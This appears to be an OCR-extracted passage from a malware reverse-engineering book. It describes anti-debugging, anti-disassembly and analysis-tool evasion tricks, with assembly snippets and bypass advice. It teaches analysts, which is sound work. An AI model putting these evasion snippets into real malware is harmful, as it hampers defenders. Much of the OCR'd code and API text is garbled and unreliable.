push [ebp][8]

call CreateFile

Import Address Table

jmp CreateFile
jmp GetProcAddress

jmp LocalFree

> Rootkit code
processing arguments

After hooking —»

Original flow

Figure 20. IAT hooking mechanism

This hooking is not effective against the dynamic loading of APIs (using
GetProcAddress and LoadLibrary), but it's still effective against many legitimate

applications, which includes most of their required APIs in the import table



Summary

In this chapter, we have covered two very well-known techniques that are used
by many malware families: process injection and API hooking. These techniques
are used for many reasons, including disguising the malware, bypassing
firewalls, maintaining persistence for fileless malware, man-in-the-browser
attacks, and more.

We have covered how to deal with code injection in the dynamic analysis
process, as well as how to detect code injection and API hooking and how to
analyze them in the memory forensics process.

After reading this chapter, you will have a greater understanding of complex
malware and how it can be injected into legitimate processes. This will help you
to analyze cyberattacks incorporating various techniques and protect your
organization from future threats more effectively.

In chapter 5, Bypassing Anti-Reverse Engineering Techniques, we will cover other
techniques that are used by malware authors to make it harder for reverse
engineers to analyze them and understand their behavior.



Bypassing Anti-Reverse Engineering
Techniques

In this chapter, we will cover various anti-reverse engineering techniques that
malware authors use to protect their code against unauthorized analysts who
want to understand its functionality. We will familiarize ourselves with various
approaches, from detecting the debugger and other analysis tools to breakpoint
detection, VM detection, and even attacking the anti-malware tools and
products.

We will also cover the VM and sandbox-detection techniques that malware
authors use to avoid spam detection, as well as automatic malware-detection
techniques that are implemented in various enterprises. As these anti-reverse
engineering techniques are widely used by malware authors, it's very important
to understand how to detect them and bypass them to be able to analyze complex
malware or a highly obfuscated malware.

The chapter is divided into the following sections:

Exploring debugger detection

Handling debugger breakpoints evasion
Escaping the debugger

Obfuscation and anti-disassemblers

Detecting and evading behavioral-analysis tools
Detecting sandboxes and virtual machines



Exploring debugger detection

For malware authors to keep their operations going without being interrupted by
antivirus products or any takedown operations, they have to fight back and equip
their tools with various anti-reverse engineering techniques. Debuggers are the
most common tools that malware analysts use to dissect malware and reveal its
functionality. Therefore, malware authors implement various anti-debugging
tricks to keep their Command & Control servers (C&Cs) hidden and their
configurations, exfiltrated data, and their communication with the malware well
protected.



Direct check for debugger presence

Windows includes lots of ways to detect the presence of a debugger. There are
multiple APIs that help detect whether the current process is being debugged or
not, as follows:

® TIsDebuggerPresent
® CheckRemoteDebuggerPresent
® NtQueryInformationProcess (Wlth the processpebugport (7) argument)

These APIs access a flag in the process environment block (PEB) called
Beingbebugged that is set to True when the process is running under a debugger. To
access this flag, malware can execute the following instructions:

mov eax, dword ptr fs:[30h] ; PEB
cmp byte ptr [eax+2], 1 ; PEB.BeingDebugged
jz <debugger_detected>

These are mostly direct ways to check for the presence of a debugger. However,
there are also other ways to detect them, such as by observing the differences in
the process loading, thread loading, or the initialization phase between a process
running with a debugger and another process running without a debugger. One
of these techniques involves using ntc1obalrlag.

The best way to bypass them is by overwriting 1spebuggerpresent or
checkremoteDebuggerpresent APIS by nop instructions or set a breakpooint at the start
of each of these APIs for monitoring and changing the return values.



Detecting a debugger through an
environment change

NtGlobalFlag iS a flag at offset exes of the PEB in 32-bit systems and exsc in 64-bit
systems. During normal execution, this flag is set to zero when the process is
running without the presence of a debugger, but when a debugger is attached to
the process, this flag is set with the following three values:

® FLG_HEAP_ENABLE_TAIL_CHECK (0x10)
® FLG_HEAP_ENABLE_FREE_CHECK (0x20)
® FLG_HEAP_VALIDATE_PARAMETERS (0x40)

The initial value of ntciobairiag can be changed from the registry. However, in the
default situation, malware can check for the presence of a debugger using these
flags by executing the following instructions:

mov eax, fs:[30h] ;Process Environment Block

mov al, [eax+68h] ;NtGlobalFlag

and al, 70h ;O0ther flags can also be checked this way
cmp al, 76h ;0x10 | 0x20 | Ox40

je <debugger_detected>

The following flags can be used in the x64 environment:

push 60h

pop rsi

gs:lodsq ;Process Environment Block
mov al, [rsi*2+rax-14h] ;NtGlobalFlag
and al, 70h

cmp al, 76h

je <debugger_detected>

This is just one of many ways in which the differences in the environment
between processes running under a debugger can be detected.



Detecting a debugger using parent
processes

One last technique worth mentioning is that processes can detect whether they
were created by a debugger by checking the parent process's name. Windows
OS sets the process ID and the parent process ID in the process information.
Using the parent process ID, you can check whether it was created normally (for
example, by using Explorer.exe OT iexplore.exe) or whether it has been created by d
debugger (for example, by detecting the presence of the dbg substring in its
name).

There are two common techniques for malware to get the parent process 1D,
listed as follows:

¢ Looping through the list of running processes using createtoolhelps2snapshot,
Process32First and Process32Next (as we saw in Chapter 4, Inspecting Process
Injection and API Hooking, with process injection). These APIs not only
return the process name and ID, but also more information, such as the
parent process ID that the malware is looking for. Malware samples can use
these APIs to find the current process and then get the parent process ID.

L USng the undocumented NtQueryInformationProcess API.
Given processBasicInformation as an argument, this API can return the parent
process ID. Even though this API could be altered in later versions of
Windows, it's still widely used by malware to get process information, as
shown in the following screenshot:



ff i

00401054 ga OO PUSH 0x0
0040105f 6a 18 PUSH Ox18
0040106l €3 00 30 PUSH ProcessInfo
40 00
0040106e ga 00 PUSH FROCESS BASIC INFORMATION
00401068 ga ff PUSH -0x1
0040106a =8 cd ff CLLL NtlueryInformationProcess
ff ff
o040l06f 58 BOP ELY
00401070 BB 00 30 MOV EBY, ProcessInfo
40 00
00401075 39 43 14 CMP dword ptr [EBX + offset ProcessInfo.ParentProcessID],ERX
oo401072 75 07 JNZ LABR 00401081
0040107a ga 00 PUSH ox0
0040107c =8 &b ff CRLL ExitProcess
ff ff

Figure 1: Using NtQueryInfomationProcess to get the parent process

After getting the parent process ID, the next step is to get the process name or
the filename to check whether it's the name of a common debugger or includes
any dbg OT debugger Substrings in its name. There are two common ways to get the
process name from its ID, as shown in the following list:

¢ [ooping through the processes the same way to get the parent process ID,
but this time they get the process name by providing the parent process ID
that they got earlier.

° USng the cetProcessimagerilenamea API to get the filename of a process given
its handle. To do this, they need to execute the openprocess API in order to get
permission to access this process to query for information (by
using process_query_tnrormaTION @S the requested permissions argument). This
API returns the process filename, which can be checked later to detect
whether it's a debugger.



Handling debugger breakpoints
evasion

Another way to detect debuggers or evade them is to detect their breakpoints.
Whether they are software breakpoints (like INT3), hardware breakpoints,
single-step breakpoints (trap flag), or memory breakpoints, malware can detect
them and possibly remove them to escape reverse engineer control.



Detecting software breakpoints
(INT3)

This type of breakpoint is the easiest to use, as well the easiest to detect. As we
stated in chapter 1, A Crash Course in CISC/RISC and Programming Basics, this
breakpoint modifies the instruction bytes by replacing the first byte with excc
(the 1nts instruction), which creates an exception (an error) that gets delivered to
the debugger to handle.

Since it modifies the code in memory, it's easy to scan the code section in
memory for the INT3 byte. A simple scan will look like this:

Loop XBEF[1]:

00401033 20 38 cc CHF byte ptr [ELX]=>LAB 00401048,0xcc
00401038 74 21 JZ Debugger Detected
00401038 40 INC F
00401039 45 LEC X
o040103a 75 £7 JHZ Loop
0040103¢c ke 00 00 MOV ESI, 0x0

oo 0o
00401041 ga 00 FUSH Ox0
00401043 =8 bE ff CALL ExitProcess

If ff

Figure 2: Simple INT3 scan

The only drawback of this approach is that some C++ compilers write INT3
instructions after the end of each function as filler bytes. An INT3 byte (excc) can
also be found inside some instructions as part of an address or a value, so
searching for this byte through the code may not be an effective solution, and
could return lots of false positives.

There are two other techniques that are commonly used by malware to scan for
an INT3 breakpoint, as shown in the following list:

e Precalculating a checksum (a sum of a group of bytes) for the entire code



section and recalculating it again in execution mode. If the value has
changed, then there will be some bytes that have been changed, either by
patching or by setting an INT3 breakpoint. An example would be as
follows:

mov esi,<CodeStart>
mov ecx,<CodeSize>
X0r eax,eax

ChecksumLoop:
movzx edx,byte [esi]
add eax, edx
rol eax,1
inc esi
loop .checksum_loop

cmp eax, <Correct_Checksum>
jne <breakpoint_detected>

¢ Reading the malware sample file and comparing the code section from the
file to the memory version. If there are any differences between them, this
means that the malware has been patched in memory or there is a software
breakpoint (1n13) that has been added in the code. This technique is not
widely used as it's not effective if the malware sample has its relocation
table populated (check chapter 2, Basic Static and Dynamic Analysis for
x86/x64, for more information).

The best solution for software breakpoint detection is to use hardware
breakpoints, single-stepping (code tracing) or setting access breakpoints on
different places in the code section for any memory read.

Once a memory breakpoint being accessed gets a hit, you can find the checksum
calculating code and deal with it by patching its checksum code itself as you can
see in the following screenshot:



00401010{ § 68 48104000 |PUSH int3 sca.00401048 SE handler installation
00401015 . 64:FF35 00000(PUSH DWORD PTR FS:[0]

0040101c| . 64:8925 00000(MOV DWORD PTR FS:[0],ESP

B - :c 0104000 MoV EAX,int3 sca.00401048 Fntry address
00401026| . BY 59104000 |MOV ECX,int3 sca.00401059

0040102D| . B1E9 48104000 SUB ECX,int3 sca.00401048 Entry address
00401033| > 8038 CC CMP BYTE PTR DS: [EAX], 0CC

00401036| ., 74 21 JE SHORT int3 sca.00401059

00401038/ . 40 INC EAX

00401039| . 49 DEC ECX

00401038 ."175 F1 JNZ SHORT int3 sca.(00401033

J040103C| . BE 00000000 |Mov ESI,O

00401041| . €A 00 DUSH { [Exi:C;ie =
00401043| . EB BBFFFFFF |CALL <JMP.&kernel32.ExitProcess> ExitProcess
00401048|r5 BB 03000000 MOV FR¥.? Structured exception handler
0040104D|| . BA 04000000 |Mov E  Backup ’

00401052|| . 6A 01 PUSH  Copy ) [Exi:Cede —
00401054 |, E8 ATFFFFFF |CALL Biray ) 182 ExitProcess
00401059| > 6a 01 PUSH ExitCode =
0401058 . 9 AOFPFRRF QR e ey [Ex-'_tprocess
00401060] 00 mp [ Late

00401061 00 DB 00 Comment :

4-'- 00 DB Breakpaint » Toggle R
34 gg E Hittrace ) Condiiondl )
00401065 00 DB (O Runtrace } Condtional log Shift+F4
00401066 00 DB 0 New origin here Chrl Gray * LsEs s
Address |Hex dump Disas Goto » Memory, on acces

Figure 3: Breakpoint On Access On Code Section to detect INT3 Scan Loops/Checksum Calculators

In this Figure, I have set a breakpoint "memory on access" on the code section. By
executing the program, the application should stop on address exee401033 as this
instruction tried to access the address exee401048 Where I set my breakpoint. This
way I can detect the ints scan loop or the checksum calculating loop.

By patching the check at the end of the checksum calculator or the jz/jnz with
the opposite check, you can easily bypass this technique.



Detecting single-stepping breakpoints
(trap flag)

Another type of breakpoint detection technique that is widely used is the trap
flag. When you trace over the instructions one by one, checking the changes they
make in memory and on the registers' values, your debugger sets the trap flag in
the erLacs register, which is responsible for stopping on the next instruction and
returning control back to the debugger.

This flag is very hard to catch because eriacs is not directly readable. It's only
readable through the pushf instruction, which saves this register value in the
stack. Since this flag is always set to raise after returning to the debugger, it's
hard to check the value of this flag and detect a single-step breakpoint; however,
there are multiple ways to detect this behavior. Let's go through the most
common examples.



Detecting a trap flag using the SS
register

In the x86 architecture, there are multiple registers that are not widely used
nowadays. These registers were used in DOS operating systems before virtual
memory was introduced, particularly the segment registers. Apart from the rs
register (which you already know about), there are other segment registers, such
as cs, which was used to point to the code section, os, which was used to point to
the data section, and ss, which was used to point to the stack.

The pop ss instruction is quite special. This instruction is used to get a value from
the stack and change the stack segment (or address) according to this value. So if
there's any exception happening while executing this instruction, it could lead to
confusion (which stack would be used to store the exception information?).
Therefore, no exceptions or interrupts are allowed while executing this
instruction, including any breakpoints or trap flags.

If you are tracing over this instruction, your debugger will move the cursor will
skip the next instruction and jump directly to the instruction after it. It doesn't
mean this skipped instruction wasn't executed, it was executed but not
interrupted by the debugger.

For example, in the following code, your debugger cursor will move from ror ss
to mov eax, 1, skipping the pustro instruction, even if it was executed:

PUSH SS

POP SS

PUSHFD ;your debugger wouldn't stop on this instruction
MOV EAX,1 ;your debugger will automatically stop on this instruction.

The trick here is that, in the previous example, the trap flag will remain set while
executing the pushfd instruction, but it won't be allowed to return to the debugger.,
so the pushfd instruction will push the erLacs register to the stack, including the
actual value of the trap flag (if it was set, it will show in the erLacs register).
Then, it's easy for malware to check whether the trap flag is set and detect the
debugger. An example of this is shown in the following screenshot:



text
text
text
text
text
text
text
text

;88481816
:ea4alely
;Ba4al1el1s
:Ba4al1el19
:8e4a1e1C
:Be4ale2l
;88481823
;88481825

push =5

pop 55
pushf

mov eax, [esp]

and eax, 188h

jnz short Debugger L
push 2

call ExitProcess

Figure 4: Trap flag detection using the SS register

-
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This is a direct way of checking for code tracing or single-stepping. Another way
to detect it is by monitoring the time that passed while executing an instruction
or a group of instructions, which is what we will talk about in the next section.



Detecting single-stepping using timing
techniques

There are multiple ways to get the exact time with millisecond accuracy from the
moment the system is on until the execution of this instruction. There is an x86
instruction called rdtsc that returns the time in eox:eax registers. By calculating the
difference between the time before and after executing a certain instruction, any
delay will be clearly shown, which represents reverse-engineering tracing
through the code. An example of this is shown in the following screenshot:

00401010
oo4nlola
00401013
004010135
00401017

0040101a
00401014d
0040101f
00401021

0f 31
al

33 cl
0f 31
2b 04

g3 f8
17 07
ga 00

28 da

RDTSC

PUSH ELX

X0R EAX, ERY

RDTSC
24 SUB ELY,dword ptr [E5F]=>local 4

; more than 20 milliseconds, detect a single-stepping

20 CMP ER¥, 0x20

JA Debugger Detected

PUSH 0x0
ff CALL ExitProcess

Figure 5: The rdtsc instruction to detect single-stepping

This instruction is not the only way to get the time at any given moment. There
are multiple APIs supported by Windows that help programmers get the exact

time, as follows:

GetLocalTime
GetSystemTime
GetTickCount
kicetTickcount (in kernel mode)
QueryPerformanceCounter

timeGetTime

timeGetSystemTime



This technique is widely used and more common than the ss segment register
trick. The best solution is to patch the instructions. It's easy to detect it if you are
already stepping through the instructions; you can patch the code or just set the
instruction pointer (err/r1p) to make it point after the check.



Evading hardware breakpoints

Hardware breakpoints are based on registers that are not accessible in user mode.
Therefore, it's not easy for malware to check these registers and clear them to
remove them.

For malware to be able to access them, it needs to have them pushed to the stack
and pulled out from it again. To do that, many malware families rely on
structured exception handling (SEH).



What is structured exception
handling?

For any program to handle exceptions, Windows provides a mechanism called
SEH. It's based on setting a caliback function to handle the exception and then
resume execution. If this cai1pack failed to handle the exception, it can pass this
exception to the previous caliback that was set. If the last ca11back was unable to
handle the exception, the operating system terminates the process and informs
the user about the unhandled exception, and often suggests hat they send it to the
developer company.

A pointer to the first caiiback to be called is stored in the thread information
block (TIB) and can be accessed via rs: [exe0]. The structure is a linked list,
which means that each item in this list has the address to the cail1back function and
follows the address of the previous item in the list (the previous caiiback). The
linked list looks like this in the stack:



Stack

TEB

Fs[0] : 0012FF40 !

0012FF40 : 0012FFBO : next SEH record
0012FF44 ; 7C839ADS8 ;| SE Handler

L 4

0012FFBO : 0012FFEO : next SEH record
0012FFB4 : 0040109A :|SE Handler

O012FFEQ : FFFFFFFF : next SEH record (end of chain)
0012FFE4 : 7C839ADS : SE Handler

Figure 6: SEH linked list in the stack

The setup of the SEH ca1i1back generally looks like this:

PUSH <callback_function> // Address of the callback function
PUSH FS:[0] // Address of previous callback item in the list
MOV FS:[0],ESP // Install new EXECEPTION_REGISTRATION

As you can see, the SEH linked list is mostly saved in the stack. Each item
points to the previous one. When an exception occurs, the operating system
executes this caliback function and passes the necessary information about the
exception and the thread state to it (registers, the instruction pointer, and so on).
This ca11back has the ability to modify the registers, the instruction pointer, and
the whole thread context. Once the caliback returns, the operating system takes
the modified thread state and registers (which is called the context) and resumes
based on it. The cai1back function looks like this:
__cdecl _except_handler(
struct _EXCEPTION_RECORD *ExceptionRecord,
void * EstablisherFrame,

struct _CONTEXT *ContextRecord,
void * DispatcherContext

);



The important arguments are the following;:

® Eexceptionrecord: Contains information related to the exception or the error
that has been generated. It contains the exception code number, the address,
and other information.

® contextRecord: This is a structure that represents the state of that thread at the
time of the exception. It's a long structure that contains all the registers and
other information. A snippet of this structure would look as follows:

struct CONTEXT {
DWORD ContextFlags;

DWORD DR[7];

FLOATING_SAVE_AREA FloatSave;
DWORD SegGs;
DWORD SegFs;
DWORD SegEs;
DWORD SegDs;
DWORD Edi;

There are multiple ways to detect a debugger using SEH. One of these ways is
by detecting and removing hardware breakpoints.



Detecting and removing hardware
breakpoints

To detect or remove hardware breakpoints, malware can use SEH to get the
thread context, check the values of the DR registers and clear all of them to
remove the hardware breakpoints—or at least just check their values and exit if a
debugger is detected. The code is as follows:

Xor eax, eax
push offset except_callback

push d fs:[eax]

mov fs:[eax], esp

int 3 ;force an exception to occur

except_callback:
mov eax, [esp+Och] ;get ContextRecord
mov ecx, [eax+4] ;Dr0O
or ecx, [eax+8] ;Dr1
or ecx, [eax+0ch] ;Dr2
or ecx, [eax+10h] ;Dr3
jne <Debugger_Detected>

Another way to remove hardware breakpoints is to use the cetThreadcontext() API
to access the current thread (or another thread) context and check for the
presence of hardware breakpoints or clear them using the setthreadcontext() API.

The best way to deal with these breakpoints is to set a breakpoint on
GetThreadContext, SetThreadContext, OI ON the exception callback function to make sure
they don't reset or detect your hardware breakpoints.



Memory breakpoints

The last type of breakpoint to talk about is memory breakpoints. It's not common
to see an anti memory breakpoints trick, but they can be easily detected by using
the readprocessmMemory() API with the malware's imageBase as an argument and the
sizeOfImage aS the Size. readProcessMemory() Will return raise if any page inside the
malware is guarded (pace_cuarp) OT Set to no-access protection (pPAce_NoACCESS).

For a malware sample to detect a memory breakpoint upon write or execute, it
can query any memory page protection using the virtualquery API. Alternatively,
it can evade them by using virtualprotect with PAGE_EXECUTE_READWRITE.

The best way to deal with these anti-debugging tricks is to set breakpoints on all
of these APIs and force them to return the desired result for the malware to
resume execution.



Escaping the debugger

Apart from detecting debuggers and removing their breakpoints, there are
multiple tricks that malware uses to escape the debugger's control: escaping the
breakpoints, step-into and step-over, or escaping the whole debugging
environment altogether. Let's cover some of the most common tricks.



Process injection

We have talked about process injection before, in chapter 4, Inspecting Process
Injection and API Hooking. Process injection is a very well-known technique,
not only for man-in-the-browser attacks, but also for escaping the debugged
process into a process that is not currently debugged. By injecting into another
process, malware can get out of the debugger's control and execute code before
the debugger can attach to it.

A commonly used solution to bypass this trick is to inject an infinite loop into
the entryroint Of the injected code before it gets executed, usually in the injector
code either before the writeprocessmemory call when the code hasn't been injected
yet or before createremotethread, this time in another process's memory.

An infinite loop can be created by writing two bytes (oxes oxre) that represent a
jmp instruction to itself, as you can see in the following screenshot:

1040100F CC TNT 3
—njE] DiD JMP SHORT trace Tr.<ModuleEntryPoint>
6RA FF FUSH -1

Figure 7: Injected JMP instruction to create an infinite loop

Next, we are going to talk about another popular technique called the TLS
callback. Read on!



TLS callbacks

Many reverse engineers start the debugging phase from the entryroint of the
malware, which usually makes sense. However, some malicious code can start
before the entryroint. Some malware families use Thread-Local Storage (TLS)
to execute code that initializes every thread (which runs before the thread's
actual code starts). This gives the malware the ability to escape the debugging
and do some preliminary checks, and maybe run most of the malicious code this
way while having benign code at the entrypoint.

In a data directory block of the PE header, there is an entry for TLS. It is
commonly stored in the .t1s section, and the structure of it looks like this:

typedef struct _IHAGE_TLS_DIRECTDR?E4 {
TLONGLONG atartdddress0OfRawbhata;
OLONGLONG EndiddressCfRawlata;

UDLONGLONG  AddressOfIndex; // PDWORD

ULONGLONG  AddressOfCallBacks: // PIMAGE TL3 CALLBACK #;
DWORD SizeCfieroFill;

DWORD Characteristics;

} IMAGE TL3 DIRECTORYG4G;
typedef INAGE TLS DIRECTORYe: * PIMAGE TL3 DIRECTORYAY:

typedef struct IMAGE TLS DIRECTORY3Z {

DWORD
DWORD
DWORD
DWORD
DWORD
DWORD

AatartlddressOfRawbata:

EndiddressOfRawlata;

lddress0f Index; A PDWORD
Lddress0fCallBacks: // PIMAGE TLS CALLBACK *
SilzeCfieroFill;

Characteristics:

} IMAGE TL3 DIRECTORYIZ:;
typedef IMAGE TLo DIRECTORY:IZ * PIMAGE TL3 DIRECTORYIZ:

Figure 8: TLS structure



The addressofcaligacks points to a null-terminated array (the last element is zero)
of cal1pack functions, which are to be called after each other, each time a thread is
created. Any malware can set its malicious code to start inside the
Addressofcallsacks array and ensure that this code is executed before the entryroint.

A solution for this trick is to check the PE header before debugging the malware
and set a breakpoint on every caiiback function registered inside the
AddressofcallBacks field.



Windows events callbacks

Another trick used by malware authors to evade the reverse engineer's single-
stepping and breakpoints is by setting callbacks. Callbacks are each called for a
specific event (like a mouse click, keyboard keystroke, or a window moving to
the front). If you are single-stepping over the malware instructions, the callback
would still be executed without you noticing. In addition, if you are setting
breakpoints based on the code flow, it will still bypass your breakpoints.

There are so many ways to set caliback functions. Therefore, we will just mention
two of them here, as follows:

L USng the RegistercClass API: The RegisterClass API creates a window class
that can be used to create a window. This API takes a structure
called wnpcLassa as an argument. The wnocLassa structure contains all the
necessary information related to this window, including the icon, the cursor
icon, the style, and most importantly the caiiback function to receive window
events. The code looks as follows:

MoV DWORD PTR[WndCls.lpfnWndProc],<WindowCallback>

LEA EAX,DWORD PTR SS:[WndCls]

PUSH EAX ; pwndClass
CALL <JMP.&user32.RegisterClassA> ; RegisterClassA

e Using setwindowLong: Another way to set the window caiiback is to use
setwindowLong. If you have the window handle (from enumwindows OT Findwindow OF
other APIs), you can call the setwindowtong API to change the window caliback
function. Here is what this code looks like:

PUSH GWL_DlgProc
PUSH hwWnd ;Window Handle

PUSH <WindowCallback>
CALL SetWindowLongA

The best solution for this is to set breakpoints on all the APIs that register
callbacks or their caiiback functions. You can check the malware's import table,
any calls to cetprocaddress, or other functions that dynamically call an API.



Obfuscation and anti-disassemblers

Dissemblers are one of the most common tools that are used for reverse
engineering, and so they are actively targeted by malware authors. Now, we will
take a look at the different techniques that are used in malware to obfuscate its
code and make it harder for reverse engineers to analyze it.



Encryption

Encryption is the most common technique as it also protects malware from
antivirus static signatures. Malware can encrypt its own code and have a small
piece of stub code to decrypt the malicious code before executing it. The
malware can also encrypt its own data, such as strings, API names, and their
C&Cs.

Dealing with encryption is not always easy. One solution is to execute the
malware and dump the memory after it is decrypted. You can dump the process
memory using the SysInternals tool called processdump.exe and the commandline
looks like:

| procdump -ma <process name/pid>

and this will dump the the whole process and its memory. If you want only the
process image, you can use -mm to create a 'Mini' process image. Also, known
sandboxes take process dumps from the monitored processes which can help you
get the malware in a decrypted form.

But for cases like encrypting strings and decrypting each string on demand, you
will need to reverse the encryption algorithm and write a script to go through all
the calls to the decryption function and use its parameters to decrypt the strings.
You can check out chapter 2, Basic Static and Dynamic Analysis for x86/x64, for
more information on how to write such scripts.



Junk code insertion

Another well-known technique that's used in many samples, and which became
increasingly popular from the late 90s and early 2000s, is junk code insertion.
With this technique, the malware author inserts lots of code that never gets
executed, either after unconditional jumps, a call that never returns, or
conditional jumps with conditions that would never be met. The main goal of
this code is to waste the reverse engineer's time analyzing useless code or make
the code graph look more complicated than it actually is.

Another similar technique is to insert ineffective code. This ineffective code
could be something like nop, push & pop, inc & dec. A combination of these
instructions could look like real code; however, they all compensate for each
other, as you can see in the following screenshot:

SBFo HOU ESI,ERX

PUSH EDX
DEC BYTE FTR SS:[ESF]

P40 1005
po4ni00r|  3E:8R00 MOU AL,BYTE PTR DS:(EAX)
e840100A 8400 TEST nL.F‘.
2040100C| v ;g 40 JE SHORT Test . 00401058
B4l veE
[l ;1- 3E: BFBE TAF 34 PCP DUCRD PTR DS:[48F574)
P41l B
02401018 BFCB Bm EBX
0040101A 68 SD104000 PUSH Test.0040105D
0B840101F €B POP EBX
B4 10, MOU DWORD PTR DS: (EBX],ERX
210 INC EBX
1010 BSR EAX,EDX
1018 TEST ERX,DCY8R946
1111
{0103 NOP
1910 INC EDX

MOU BL 27
MoV Enx.#mm?c
JMP SHORT Test.00401042

NOP

42 BSF ERAX, EDX

1451 3E:C705 FC8B8411 MOV DWORD PTR DS:(4188FC),0
aiesel 20 2180E889 SUB ERX, BYESRDZ1

401055 690R ESYTD49D | IMUL EBX,EDX, 90D477ES

.. L
AL
*
4T
(5]"
([
0
|l
o
5]
0




Figure 9: Pointless junk code

There are different forms of this junk code, including the expansion of an
instruction; for example, inc edx becomes add edx, 3 and sub edx, 2, and so on. This
way, it is possible to obfuscate the actual values, such as exsasp ('MZ') or other
values that could represent specific functionality for this subroutine.

This technique has been around since the 90s in metamorphic engines, but it's
still used by some families to obfuscate their code.



Code transportation

Another trick that's commonly used by malware authors is code transportation.
This technique doesn't insert junk code; instead, it rearranges the code inside
each subroutine with lots of unconditional jumps, including ca11 and pop or
conditional jumps that are always true.

It makes the function graph look very complicated to analyze and wastes the
reverse engineer's time. An example of such code can be seen in the following
screenshot:

AN TS ER 4 1 I ..:'T r-m.m:mr AdH T Y
HgE 1M A = Fii=H

A0481862| 3E:8FBS 74F9401 POP OHURE PTR DS:[48F974)
a840106F| D3DB RCR EBX,CL

PR401011 aFCE BSWAP EBX

BB40810813| 68 SC104000 PUSH Test.80848185C

BB481818| &EB POP EBX

88401819 SE:8903 MOV DWORD PTR DS:[EEX), EAX
Bo4a101C 42 INC EBX

oa401610| OFBDC2 BSR EAX,EDX

ge401028| A9 46R978DC TEST EAX,DC78A946

nn4n1ggg1u EE OB JMP SHORT Test OO4Q1022

oadu1ozZ EEF8 [y (0 ESI.EHK
GE4U1UE? 3E:2R08 MOV AL,BYTE PTR DS:[ERAX]
—Pp 00401020 84Ca TEST AL,AL
BB848102E|v 74 2A JE SHORT Test.B84018SA
padA1a=Hl~ FR OS JHE SHORT Tect . AR4A1667
Budivse sBLZ MOYU EHx, EDX
Bod4a1634| 52 PUSH EDX
80481935| B6 86 MOV DH, 86
98401037 B3 27 MOV BL,27
BBdp1839 B2 YCFRR17F MOV ERAX, PFR1FA?C
BB48183E|v EB 01 JHP SHORT Test.004010841
0401041 | TEDR
Zih iG44| 3ZE:C785 FC88411 HOV DWORD PTR DS:[4188FCJ,0

ya4a104F| 20 218DESBS | SUB EAX, BIESED21 -—
13401054 69DA ES?7D4SD | IMUL_EBX, EDX, 9DD477ES

1L il.‘ ] :n"r

Figure 10: Code transportation with unconditional jumps

There is a more complicated form of this where malware rearranges the code of
each subroutine in the middle of the other subroutines. This form makes it harder
for the disassembler to connect each subroutine as it makes it miss the ret



instruction at the end of the function and then not consider it as a function.

Some other malware families don't put a ret instruction at the end of the
subroutine and substitute it with pop and jmp to hide this subroutine from the
disassembler. These are just some of the many forms of code transportation and
junk code insertion techniques.



Dynamic API calling with checksum

Dynamic API calling is a famous anti disassembling trick used by many
malware families. The main reason behind using it is that this way, they hide
API names from static analysis tools and make it harder to understand what each
function inside the malware is doing.

For a malware author to implement this trick, they need to pre calculate a
checksum for this API name and push this value as an argument to a function
that scans export tables of different libraries that are searching for an API with
this checksum. An example of this is shown in the following screenshot:

80414780 push BCB2DSF77h : func_hash
a8414792 push BF734E815h ; library_hash
Be414797 call resolue : getsockname
8041479C lea ecx, [esi+88h]

Be4147A2 push BCX

B84147A3 push esi

B84147 A4 push [esp+1Bh+arg_8]

80414708 call eax

Figure 11: Library and API names' checksums (hash)

The code for resolving the function actually goes through the PE header of the
library, loops through the import table, and calculates the checksum of each API
to compare it with the given checksum (or hash) that's provided as an argument.

The solution to this approach could require scripting to loop through all known
API names and calculate their checksum or executing this function multiple
times when given each checksum as input and saving the equivalent API name
for it.



Proxy functions and proxy argument
stacking

The Nymaim banking Trojan took anti disassembling to another level by adding
additional techniques, such as proxy functions and proxy argument stacking.

With the proxy functions technique, malware doesn't directly call the required
function; instead, it calls a proxy function that calculates the address of the
required function and transfers the execution there. Nymaim included more than
100 different proxy functions with different algorithms (4 or 5 algorithms in
total). The proxy function call looks like this:

push eax

push

push

call obfuscated fn_call 48 ; call strlen

Figure 12: Proxy function arguments to calculate the function address

The proxy function code itself looks like this:



il s (=
agu1ACHa
agu1Acen
agu1Acaa ; Does a function call according to the previous arguments
agu1Acaq ; Attributes: bp-based frame
apu1Acen
ga41ACcag obfuscated fn_call 48 proc near
agu1AcCHa
aau1Acoan arg_o= dword ptr 8
aau1Acoan arg_4= dword ptyr BCh
aau1Acaq arg_%= dword ptr 18h
apu1Acen
ag41AC oA ; FUNCTION CHUHK AT B843BB50 SIZE BO00BBBBE BYTES
agu1AcCHa
aau1Acoan 55 push ebp
aau1Acoat1 89 EG mouv ebp, esp
aau1Ace3 5o push eax
A041ACHS 8B 45 64 mov eax, [ebp+H]
B84 1ACA7 89 45 18 now [ebp+arg_8], eax
g841ACHA 8B 45 BC mouv eax, [ebprarg_4]
aau1AcaD 33 45 88 ®or eax, [ebp+arg_0]
A841nC1@ E? 3B AC 62 68 jmp loc_43BBLAH
aau1Ac1a obfuscated_fn_call_ 48 endp
apu1Ac1A
FZE
BB843BB5H ; START OF FUHCTION CHUHK FOR obfuscated fn_call 4@
B043BB5H
BB43BBEH loc_43BBLH:
B043BB5H 61 45 B4 add [ebp+H], eax
BB43BB53 S8 pop eax
B043BBSL C9 leave
B043BB5S C2 B8 6O retn 8
B043BBLS ; EMD OF FUMCTION CHUHK FOR obfuscated fn_call_ 48

Figure 13: Nymaim proxy function

For arguments, Nymaim used a function to push arguments to the stack rather
than just using the push instruction. This trick could confuse the disassembler
into recognizing the arguments that were given to each function or API. An
example of proxy argument stacking is as follows:

push = | A
call register _push_8 ; push edi
push =l |
call register push_ 8 ; push esi

Figure 14: Proxy argument stacking technique in Nymaim

This malware included many different forms of the techniques that we
introduced in this section, so as long as the main idea is clear, you should be able
to understand all of them.



Detecting and evading
behavioral analysis tools

There are multiple ways that malware can detect and evade behavioral analysis
tools, such as ProcMon, Wireshark, API hooking tools, and so on, even if they
don't directly debug the malware or interact with it. In this section, we will talk
about two common ways in which malware detects and evades behavioral
analysis tools.



Finding the tool process

One of the simplest and most common ways malware deals with malware-
analysis tools (and antivirus tools as well) is to loop through all the running
processes and detect any unwanted processes. Then, it is possible to either
terminate it or to stop its execution to avoid further analysis.

In chapter 4, Inspecting Process Injection and API Hooking, we covered how
malware can loop through all running processes using the createtoolnelps2snapshot,
Process32First, and processaznext APIs. In this anti-reverse engineering trick, the
malware uses these APIs in exactly the same way to check the process name
against a list of unwanted processes names or their hashes. If there's a match, the
malware terminates itself or uses an approach such as calling the terminateprocess
API to kill that process. The following screenshot shows an example of this trick
being implemented in Gozi malware:



